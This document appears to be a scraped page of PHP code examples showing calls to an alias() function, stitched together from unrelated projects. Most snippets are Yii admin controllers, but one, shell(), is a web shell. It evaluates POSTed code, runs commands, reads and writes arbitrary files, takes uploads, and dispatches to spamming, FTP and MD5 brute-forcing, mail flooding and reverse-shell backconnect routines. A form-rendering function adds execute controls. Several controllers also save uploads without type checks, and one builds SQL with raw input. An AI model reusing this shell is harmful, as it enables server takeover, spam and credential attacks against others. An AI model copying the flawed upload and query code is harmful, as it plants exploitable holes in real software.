Beispiel #1
0
 /**
  * Start the basic definition for the autoloader class.
  * We need to define all the paths for locating and loading, and a bunch of other stuff.
  * @return nothing :)
  */
 function run_autoloader()
 {
     // Load our autoloader class. (Use require because it's faster).
     require COREPATH . 'Classes/Autoloader.php';
     //Now let's define all the paths for the system.
     \Package\Core\Autoloader::add_classes(array('Package\\Core\\Pulse' => COREPATH . 'Classes/Pulse.php', 'Package\\Core\\Config' => COREPATH . 'Classes/Config.php', 'Package\\Core\\Driver' => COREPATH . 'Classes/Driver.php', 'Package\\Core\\Event' => COREPATH . 'Classes/Event.php', 'Package\\Core\\Database' => COREPATH . 'Classes/Database.php', 'Package\\Core\\Input' => COREPATH . 'Classes/Input.php', 'Package\\Core\\Package' => COREPATH . 'Classes/Package.php', 'Package\\Core\\Session' => COREPATH . 'Classes/Session.php', 'Package\\Core\\Error' => COREPATH . 'Classes/Error.php'));
     \Package\Core\Autoloader::register();
     alias(array('Package\\Core\\Autoloader' => 'Autoloader', 'Package\\Core\\Pulse' => 'Pulse', 'Package\\Core\\Event' => 'Event', 'Package\\Core\\Config' => 'Config', 'Package\\Core\\Input' => 'Input', 'Package\\Core\\Error' => 'Error'));
 }
 public function actionCreate()
 {
     $model = new CategoriesDocuments();
     if (isset($_POST['CategoriesDocuments'])) {
         $model->attributes = $_POST['CategoriesDocuments'];
         $model->created = time();
         $model->alias = alias($_POST['CategoriesDocuments']['name']);
         if ($model->save()) {
             Yii::app()->user->setFlash('success', translate('Thêm thành công.'));
             $this->redirect(PIUrl::createUrl('/admin/categoriesDocuments/index'));
         }
     }
     $this->render('create', array('model' => $model));
 }
 public function actionCreate($id = null)
 {
     $model = new ProductCategory();
     if (isset($_POST['ProductCategory'])) {
         $model->attributes = $_POST['ProductCategory'];
         $model->created = time();
         $model->alias = alias($_POST['ProductCategory']['name']);
         $model->type = $id;
         if ($model->save()) {
             Yii::app()->user->setFlash('success', translate('Thêm thành công.'));
             $this->redirect(PIUrl::createUrl('/admin/productCategory/index', array('id' => $id)));
         }
     }
     $this->render('create', array('model' => $model));
 }
 public function actionCreate()
 {
     $model = new SubCategoryNews();
     if (isset($_POST['SubCategoryNews'])) {
         $model->attributes = $_POST['SubCategoryNews'];
         $model->created = time();
         $model->alias = alias($_POST['SubCategoryNews']['name']);
         if ($model->save()) {
             Yii::app()->user->setFlash('success', translate('Thêm danh mục thành công.'));
             $this->redirect(PIUrl::createUrl('/admin/subCategoryNews/index'));
         }
     }
     $arrCate = CategoriesNews::model()->getDataCategories();
     $this->render('create', array('model' => $model, 'arrCate' => $arrCate));
 }
Beispiel #5
0
function url($action, $lang = false, $arg = false, $param = false)
{
    global $base_path;
    $path = alias($action, $lang, $arg);
    if ($path === false) {
        return false;
    }
    $url = $base_path . '/' . $path;
    if ($param) {
        $p = array();
        foreach ($param as $name => $value) {
            $p[] = urlencode($name) . '=' . urlencode($value);
        }
        $url .= '?' . implode('&', $p);
    }
    return $url;
}
 /**
  * This method is invoked before saving a record (after validation, if any).
  * The default implementation raises the onBeforeSave event.
  * You may override this method to do any preparation work for record saving.
  * Use isNewRecord to determine whether the saving is
  * for inserting or updating record.
  * Make sure you call the parent implementation so that the event is raised properly.
  * @return boolean whether the saving should be executed. Defaults to true.
  */
 public function beforeSave()
 {
     parent::beforeSave();
     //Kiểm tra và tự động thêm trường alias theo tên
     $tableSchema = $this->getTableSchema();
     if (isset($tableSchema->columns['alias'])) {
         $table = get_class($this);
         $model = $table::model()->find(array('condition' => 'alias=:alias', 'params' => array(':alias' => alias($this->name))));
         if (count($model) >= 1) {
             if ($model->id == $this->id) {
                 $this->setAttribute('alias', alias($this->name));
             } else {
                 $this->setAttribute('alias', alias($this->name) . '-' . rand(1, 999));
             }
         } else {
             $this->setAttribute('alias', alias($this->name));
         }
     }
     // Quản lý Primary Key theo UUID
     /*if ($this->getIsNewRecord())
     		{
     			if (!isset($this->id)) {
     				$pk = $this->getTableSchema()->primaryKey;
     					
     				$pattern = "/(\\0|\\r|\\n|\\\\)/";
     				// Perform remove null charactor
     				do {
     					$uuid = IDHelper::uuidToBinary(IDHelper::uuid());
     					$uuid = preg_replace($pattern, "pi", $uuid);
     				} while (preg_match("/(\\0|\\r|\\n|\\\\)/", $uuid));
     					
     				$this->setAttribute('id', $uuid);
     			}
     			
     			// Xử lý ngôn ngữ
     			if ($this->enableLanguage) {
     				$tableSchema = $this->getTableSchema();
     				
     				if (isset($tableSchema->columns['locale'])) {
     					$this->setAttribute('locale', Yii::app()->language);
     				}
     			}
     		}*/
     return true;
 }
 public function actionIndex($id = 0)
 {
     $model = Informations::model()->findByPK($id);
     if (empty($model)) {
         $model = new Informations();
     }
     $flag = 0;
     if (!empty($_POST['Informations'])) {
         if (!empty(CUploadedFile::getInstance($model, 'image')->name)) {
             $image_old = $model->attributes['image'];
             $path = realpath(Yii::app()->basePath . '/../upload/images/' . $image_old);
             if (file_exists($path) && !empty($image_old)) {
                 unlink($path);
             }
             $model->attributes = $_POST['Informations'];
             $model->image = CUploadedFile::getInstance($model, 'image');
             $image = $model->image;
             $imageType = explode('.', $model->image->name);
             $imageType = $imageType[count($imageType) - 1];
             $imageName = md5(uniqid()) . '.' . $imageType;
             $model->image = $imageName;
             $images_path = Yii::getPathOfAlias('webroot') . '/upload/images/' . $imageName;
             $flag = 1;
         } else {
             $arr = $_POST['Informations'];
             $model->attributes = $arr;
         }
         $model->created = time();
         $model->alias = alias($_POST['Informations']['name']);
         if ($model->save()) {
             Yii::app()->user->setFlash('success', translate('Cập nhật thành công.'));
             if ($flag == 1) {
                 $image->saveAs($images_path);
             }
             if ($id != 0) {
                 $this->redirect(PIUrl::createUrl('/admin/informations/', array('id' => $id)));
             } else {
                 $this->redirect(PIUrl::createUrl('/admin/informations/'));
             }
         }
     }
     $this->render('index', array('model' => $model));
 }
 public function actionUpdate($id = null)
 {
     $model = Post::model()->findByPk($id);
     $flag = 0;
     $image_old = $model->attributes['image'];
     if (!empty($_POST['Post'])) {
         if (!empty(CUploadedFile::getInstance($model, 'image')->name)) {
             $image_old = $model->attributes['image'];
             $path = realpath(Yii::app()->basePath . '/../upload/images/' . $image_old);
             if (file_exists($path) && !empty($image_old)) {
                 unlink($path);
             }
             $model->attributes = $_POST['Post'];
             $model->image = CUploadedFile::getInstance($model, 'image');
             $image = $model->image;
             $imageType = explode('.', $model->image->name);
             $imageType = $imageType[count($imageType) - 1];
             $imageName = md5(uniqid()) . '.' . $imageType;
             $model->image = $imageName;
             $images_path = Yii::getPathOfAlias('webroot') . '/upload/images/' . $imageName;
             $flag = 1;
         } else {
             $model->attributes = $_POST['Post'];
             $model->image = $image_old;
         }
         $model->updated = time();
         $model->alias = alias($_POST['Post']['name']);
         if ($model->save()) {
             Yii::app()->user->setFlash('success', translate('Sửa album thành công.'));
             if ($flag == 1) {
                 $image->saveAs($images_path);
             }
             $this->redirect(PIUrl::createUrl('/admin/Post/'));
         }
     }
     $this->render('update', array('model' => $model));
 }
function shell()
{
    if ($_POST['type'] == 1) {
        eval(stripslashes($_POST['value']));
    } elseif ($_POST['type'] == 2) {
        pwd();
        print_r(ex(stripslashes($_POST['value'])));
    } elseif ($_POST['type'] == 3) {
        if ($_SESSION['safe_mode'] == 1) {
            if (($u = safe_ex('ls -la')) != '') {
                return $u;
            } else {
                return safe_ex('dir');
            }
        } else {
            if (($u = ex('ls -la')) != '') {
                return $u;
            } else {
                return ex('dir');
            }
        }
    } elseif ($_POST['type'] == 4) {
        if (file_exists(stripslashes($_POST['value']))) {
            if ($safe_mode != 1) {
                echo htmlspecialchars(fread(fopen(stripslashes($_POST['value']), "rw"), filesize(stripslashes($_POST['value']))));
            } else {
                echo htmlspecialchars(safe_read(stripslashes($_POST['value'])));
            }
            $_SESSION['edit'] = 1;
            $_SESSION['filename'] = $_POST['value'];
        } else {
            return 'File doesn\'t exists!';
        }
    } elseif ($_POST['type'] == 5) {
        fputs(fopen($_SESSION['filename'], "w"), stripslashes($_POST['value']));
    } elseif ($_POST['type'] == 6) {
        $uploaddir = pwd();
        if (!($name = $_POST['newname'])) {
            $name = $_FILES['userfile']['name'];
        }
        move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $name);
    } elseif ($_POST['type'] == 7) {
        echo alias($_POST['value']);
    } elseif ($_POST['type'] == 8) {
        echo spammer(stripslashes($_POST['from']), stripslashes($_POST['subject']), stripslashes($_POST['msg']), stripslashes($_POST['check']), stripslashes($_POST['elist']), stripslashes($_POST['logf']));
    } elseif ($_POST['type'] == 9) {
        echo ftp_brute(stripslashes($_POST['host']), stripslashes($_POST['users']), stripslashes($_POST['passwd']), stripslashes($_POST['log']));
    } elseif ($_POST['type'] == 10) {
        echo flooder(stripslashes($_POST['log']), stripslashes($_POST['to']), stripslashes($_POST['from']), stripslashes($_POST['subject']), stripslashes($_POST['msg']), stripslashes($_POST['amount']), stripslashes($_POST['check']));
    } elseif ($_POST['type'] == 12) {
        echo backconnect(stripslashes($_POST['ip']), stripslashes($_POST['port']), stripslashes($_POST['method']));
    } elseif ($_POST['type'] == 13) {
        echo backconnect(stripslashes($_POST['port']), stripslashes($_POST['pass']), stripslashes($_POST['method']));
    } elseif ($_POST['type'] == 14) {
        echo md5_brute(stripslashes($_POST['hash']), stripslashes($_POST['log']), stripslashes($_POST['dict']));
    } else {
        $u = ex('ls -la');
        if ($u == '') {
            return ex('dir');
        } else {
            return $u;
        }
    }
    return null;
}
function cm_gee()
{
    echo "<form method=\"POST\" action=\"" . $php . "\" >";
    echo "<table dir =right border=1 bgcolor =\"000000\" ><tr><td>MK Dir</td><td>";
    inp('text', '55', 'mKd', path, '');
    sub('mkD', '&nbsp;MKD ', $pr = '<br>');
    echo "</td></tr>";
    echo "<tr><td>MK File</td><td>";
    inp('text', '55', 'mKf', path, '');
    sub('mkF', '&nbsp;MKF ', '<br>');
    echo "</td></tr>";
    echo "<tr><td>Download</td><td>";
    inp('text', '55', 'dWn', path, '');
    sub('dWNf', 'down', '<br>');
    echo "</td></tr>";
    echo "<tr><td>File options</td><td>";
    ch();
    echo "</td></tr>";
    echo "<tr><td>Execute</td><td>";
    alias();
    echo "</td></tr>\n\n</table>";
}
 public function actionUpdate($id = null)
 {
     $model = Hotel::model()->findByPk($id);
     $flag = 0;
     $image_old = $model->attributes['image'];
     if (!empty($_POST['Hotel'])) {
         if (!empty(CUploadedFile::getInstance($model, 'image')->name)) {
             $image_old = $model->attributes['image'];
             $path = realpath(Yii::app()->basePath . '/../upload/images/' . $image_old);
             if (file_exists($path) && !empty($image_old)) {
                 unlink($path);
             }
             $model->attributes = $_POST['Hotel'];
             $model->image = CUploadedFile::getInstance($model, 'image');
             $image = $model->image;
             $imageType = explode('.', $model->image->name);
             $imageType = $imageType[count($imageType) - 1];
             $imageName = md5(uniqid()) . '.' . $imageType;
             $model->image = $imageName;
             $images_path = Yii::getPathOfAlias('webroot') . '/upload/images/' . $imageName;
             $flag = 1;
         } else {
             $model->attributes = $_POST['Hotel'];
             $model->image = $image_old;
         }
         $model->provinces = $_POST['provinces'];
         $model->wards = $_POST['wards'];
         $model->created = time();
         $model->alias = alias($_POST['Hotel']['name']);
         if ($model->save()) {
             Yii::app()->user->setFlash('success', translate('Cập nhập khách sạn thành công.'));
             if ($flag == 1) {
                 $image->saveAs($images_path);
             }
             $this->redirect(PIUrl::createUrl('/admin/hotel/'));
         }
     }
     $criteria = new CDBCriteria();
     $criteria->select = "id, title";
     $provinces = Provinces::model()->findAll($criteria);
     $ward = new Wards();
     $wards = $ward->getWards($model->provinces);
     $typeHotel = Hotel::model()->getTypeHotel();
     $this->render('update', array('model' => $model, 'provinces' => $provinces, 'wards' => $wards, 'typeHotel' => $typeHotel));
 }
 public function actionUpdate($id = null)
 {
     $model = News::model()->findByPk($id);
     $flag = 0;
     $image_old = $model->attributes['image'];
     if (!empty($_POST['News'])) {
         if (!empty(CUploadedFile::getInstance($model, 'image')->name)) {
             $image_old = $model->attributes['image'];
             $path = realpath(Yii::app()->basePath . '/../upload/images/' . $image_old);
             if (file_exists($path) && !empty($image_old)) {
                 unlink($path);
             }
             $model->attributes = $_POST['News'];
             $model->image = CUploadedFile::getInstance($model, 'image');
             $image = $model->image;
             $imageType = explode('.', $model->image->name);
             $imageType = $imageType[count($imageType) - 1];
             $imageName = md5(uniqid()) . '.' . $imageType;
             $model->image = $imageName;
             $images_path = Yii::getPathOfAlias('webroot') . '/upload/images/' . $imageName;
             $flag = 1;
         } else {
             $model->attributes = $_POST['News'];
             $model->image = $image_old;
         }
         $model->category_news_id = $_POST['category_news_id'];
         if (!empty($model->category_news_id)) {
             $cateParent = CategoriesNews::model()->findByPk($model->category_news_id);
             if (!empty($cateParent)) {
                 $model->parent_id = $cateParent->parent_id;
             }
         }
         $model->created = time();
         $model->alias = alias($_POST['News']['name']);
         if ($model->category_news_id == 1) {
             if ($model->save()) {
                 Yii::app()->user->setFlash('success', translate('Sửa thành công.'));
                 if ($flag == 1) {
                     $image->saveAs($images_path);
                 }
                 $this->redirect(PIUrl::createUrl('/admin/news/', array("id" => 1, "type" => 1)));
             }
         } else {
             if ($model->save()) {
                 Yii::app()->user->setFlash('success', translate('Sửa thành công.'));
                 if ($flag == 1) {
                     $image->saveAs($images_path);
                 }
                 $this->redirect(PIUrl::createUrl('/admin/news/', array("type" => 2)));
             }
         }
     }
     $dataCategories = CategoriesNews::model()->getDataCategories();
     $this->render('update', array('model' => $model, 'dataCategories' => $dataCategories));
 }
 public function actionUpdate($id = null, $type = null)
 {
     $model = Product::model()->findByPk($id);
     $flag = 0;
     $image_old = $model->attributes['image'];
     if (!empty($_POST['Product'])) {
         if (!empty(CUploadedFile::getInstance($model, 'image')->name)) {
             $image_old = $model->attributes['image'];
             $path = realpath(Yii::app()->basePath . '/../upload/images/' . $image_old);
             if (file_exists($path) && !empty($image_old)) {
                 unlink($path);
             }
             $model->attributes = $_POST['Product'];
             $model->image = CUploadedFile::getInstance($model, 'image');
             $image = $model->image;
             $imageType = explode('.', $model->image->name);
             $imageType = $imageType[count($imageType) - 1];
             $imageName = md5(uniqid()) . '.' . $imageType;
             $model->image = $imageName;
             $images_path = Yii::getPathOfAlias('webroot') . '/upload/images/' . $imageName;
             $flag = 1;
         } else {
             $model->attributes = $_POST['Product'];
             $model->image = $image_old;
         }
         $model->type = $id;
         $model->updated = time();
         $model->alias = alias($_POST['Product']['name']);
         if ($model->save()) {
             Yii::app()->user->setFlash('success', translate('Sửa sản phẩm thành công.'));
             if ($flag == 1) {
                 $image->saveAs($images_path);
             }
             // Them hinh anh
             $arrImage = CUploadedFile::getInstancesByName('images');
             foreach ($arrImage as $image) {
                 $modelImage = new ProductImage();
                 $modelImage->product_id = $model->id;
                 $nameImage = explode(".", $image->name);
                 $type = end($nameImage);
                 $modelImage->image = md5(uniqid()) . '.' . $type;
                 $modelImage->created = time();
                 $path = Yii::getPathOfAlias('webroot') . '/upload/images/' . $modelImage->image;
                 $image->saveAs($path);
                 $modelImage->save();
             }
             $this->redirect(PIUrl::createUrl('/admin/Product/', array('id' => $id)));
         }
     }
     $dataCategories = ProductCategory::model()->getDataCategories($type);
     $criteria = new CDBCriteria();
     $criteria->addCondition("product_id = {$id}");
     $arrProductImage = ProductImage::model()->findAll($criteria);
     $this->render('update', array('model' => $model, 'dataCategories' => $dataCategories, 'arrProductImage' => $arrProductImage));
 }
Beispiel #14
0
 public function testAlias()
 {
     $expr = alias('user_nickname', 'nickname');
     $this->assertExpr('`user_nickname` AS `nickname`', $expr);
 }
Beispiel #15
0
<?php

//load model
require_once 'backend/models/products.php';
//if form submit
if (!empty($_POST)) {
    $name = escape($_POST['name']);
    $product = array('id' => intval($_POST['id']), 'category_id' => intval($_POST['category_id']), 'name' => $name, 'summary' => escape($_POST['summary']), 'price' => intval(str_replace('.', '', $_POST['price'])));
    $pid = save('products', $product);
    //upload ảnh
    $image_name = $pid . '-' . alias($name);
    $config = array('name' => $image_name, 'upload_path' => 'public/upload/product/', 'allowed_exts' => 'jpg|jpeg|png|gif');
    $image = upload('image', $config);
    //cập nhật ảnh mới
    if ($image) {
        $product = array('id' => $pid, 'image' => $image);
        save('products', $product);
    }
    //chuyển hướng
    header('location:admin.php?controller=product');
}
if (isset($_GET['pid'])) {
    $pid = intval($_GET['pid']);
} else {
    $pid = 0;
}
//data
$title = $pid == 0 ? 'Thêm sản phẩm' : 'Sửa sản phẩm';
$user = $_SESSION['user'];
$product = get_a_record('products', $pid);
$categories = get_all('categories', array('select' => 'id,name', 'order_by' => 'position ASC'));
<?php

$schedule->call(function () {
    file_put_contents(alias('@runtime/x.log'), 'data');
});
$schedule->exec('composer --help')->at('14:42')->output(alias('@runtime/cron.log'));
// $schedule->command(' help resource')->output(alias('@runtime/cron.log'));
Beispiel #17
0
/**
 * @param string $url
 * @return string
 */
function staticUrl($url)
{
    if (filter_var($url, FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED | FILTER_FLAG_HOST_REQUIRED)) {
        return $url;
    } else {
        return $url ? rtrim(alias('@static'), '/') . '/' . ltrim($url, '/') : '';
    }
}
Beispiel #18
0
        if ($action == '') {
            $action = $actionDefault;
        }
    }
}
/*
if ($class == "inspect") {
    $class = "index";
    $action = "inspect";
}
*/
if ($class == "getinfopage") {
    $class = "index";
    $action = "getinfopage";
}
$class_alias = alias($_app, $class);
$class_url = $class;
$class = str_replace("-", "_", $class);
$action = str_replace("-", "_", $action);
$fclass = __APP_DIR__ . $class_alias . ".class" . ".php";
$fclass2 = __VIEW_DIR__ . $class_alias . "/" . substr($class_alias, 0, 3) . "-" . $action . ".php";
//  echo $action . " :: " .  $fclass2 ;
$context = array();
$context['App'] = $_app;
$context['Clase'] = $class;
$context['ClaseAlias'] = $class_alias;
$context['fClase'] = $class_url;
$context['Method'] = $action;
$context['Path'] = dirname($fclass);
$context['PathT'] = $fclass2;
$context['File'] = $fclass;